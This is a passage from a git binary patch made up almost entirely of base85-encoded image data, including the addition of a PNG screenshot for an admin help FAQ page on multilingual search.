zJrrWHu*7p`t9z4yN-^$9^R*rQq!vfhDh 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 Vt_SSIBtzhzy0X^gB1H@T{{iiqWKaMA literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/search_multilingual.PNG b/admin/help/img/faq/search_multilingual.PNG new file mode 100644 index 0000000000000000000000000000000000000000..36e478ab60ce25fe5983e4847a52f04858d91170 GIT binary patch literal 18198 zcmeIabyU<{_cshk3^fd0LkoyV2nYiL0)v9Iv~)?w0MacnNQX2CD4hb*-6AdB4&6vM zyyJD>*LC6hK7YMy{hqa+wI2V#;mrA-v%h=qv-5L!ucRP_k3)rnf`WqoQd&|O1?3(P z1qGE3fQcMg*NE0a{)g(QEG28G>l)rI`!iUC;c^_8yhTgpm#B7Q~FW4w5j3~2zW$rXCZ)ChNKuSJl8p0z5bL5yw3RF z4gNF5*WZ^6sI4cQ?Yskp488n=20tpqugOE!u>k=P@Ga4wOTK_ud+#z;E>${i+h-*F zNzofLA=Qmx8rHEB5m)d!(;xeZg?A&O%@hmF^u+&H+YLSw&i^sC z4N1^Tg5+4hw5~t>RPWDvoz88P*)P2~p4;hO)w-Dw4Th zsdqGJhyj%lC>7z8ceB6YGO8QdK)Gd~C(tmWbl>Yp0g{Mjpb#FaaolJdxY{P(fSZ#m z?%;_CBp^_YIXozLZrrJI}J+=PKU6F?(m>swaPzZ_hT zZ^;OR&aJN72ah#4>|~bQG}gjgf3;#swTXMszODJO+MiOq&~#jE=QMM$47_tf`~Ya} z#K10<#DYMmZ+H7I>B)%D)iy-56fGMzy!mFUS$)y1W~-#WXu+hNkM6Ga9tF1i3V>#} z+A$IU%nC^8`vcpzN}KhFfOV?V_cCv}EY9yLUj`Stx;}*Dqv`#^%ihq#CHb-FJ=-t* zCfaLMdpg0#GOFFPZI+(6`#rIhk$<31~wcS54PwW#l~;yp(F^`zvLK*JOnovW^Q_fSDY_tLa74y z?(VwI`8JeznX*ux0A9MJZ{1V;J0PuAdNr)uV68gUq^-E&)MNX9nfb#MD zk4*m}(`L9@`|6JJp#qB7khDA*n^h&d%ej64JviBZ>CwN${g2HI4{X1=z9hxMTfcXN zdV%8QD=J2pK`?~1ey@G~o+xPmObmqqW#j+-o#Ypxq!jCghJ}_Y}$B-N_iISBvGp0*LIxgdZtJ&*;rZhb4m7*Bks$P zUy2XtTq1fc?VDUh&P#GcX+D(3>yI8&jheMJEiThdrH3BVxln3&341ZsI)8J0>{wQ6 